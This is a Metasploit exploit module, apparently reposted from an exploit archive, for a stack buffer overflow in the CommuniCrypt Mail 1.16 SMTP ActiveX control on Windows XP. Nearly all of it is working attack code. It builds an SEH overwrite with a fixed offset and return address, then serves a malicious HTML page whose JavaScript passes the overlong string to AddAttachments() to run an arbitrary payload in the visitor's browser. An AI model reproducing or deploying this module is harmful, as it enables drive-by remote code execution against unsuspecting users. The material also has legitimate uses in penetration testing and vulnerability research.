CommuniCrypt Mail 1.16 – SMTP ActiveX Stack Buffer Overflow (Metasploit)
## # $Id: communicrypt_mail_activex.rb 9933 2010-07-26 19:30:02Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'CommuniCrypt Mail 1.16 SMTP ActiveX Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the ANSMTP.dll/AOSMTP.dll ActiveX Control provided by CommuniCrypt Mail 1.16. By sending a overly long string to the "AddAttachments()" method, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Lincoln', # Original exploit author 'dookie' # MSF module author ], 'Version' => '$Revision: 9933 $', 'References' => [ [ 'OSVDB', '64839' ], [ 'URL', 'http://www.exploit-db.com/exploits/12663' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP Universal', { 'Offset' => 284, 'Ret' => 0x1001e41c } ], #p/p/r in AOSMTP.dll ], 'DisclosureDate' => 'May 19 2010', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize some things vname = rand_text_alpha(rand(100) + 1) strname = rand_text_alpha(rand(100) + 1) filler = rand_text_alpha(target['Offset']) seh = generate_seh_payload(target.ret) trailer = rand_text_alpha(1000 - p.encoded.length) sploit = filler + seh + p.encoded + trailer # Build out the message content = %Q|<html> <object classid='clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82' id='#{vname}'></object> <script language='javascript'> var #{vname} = document.getElementById('#{vname}'); var #{strname} = new String('#{sploit}'); #{vname}.AddAttachments(#{strname}); </script> </html> | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |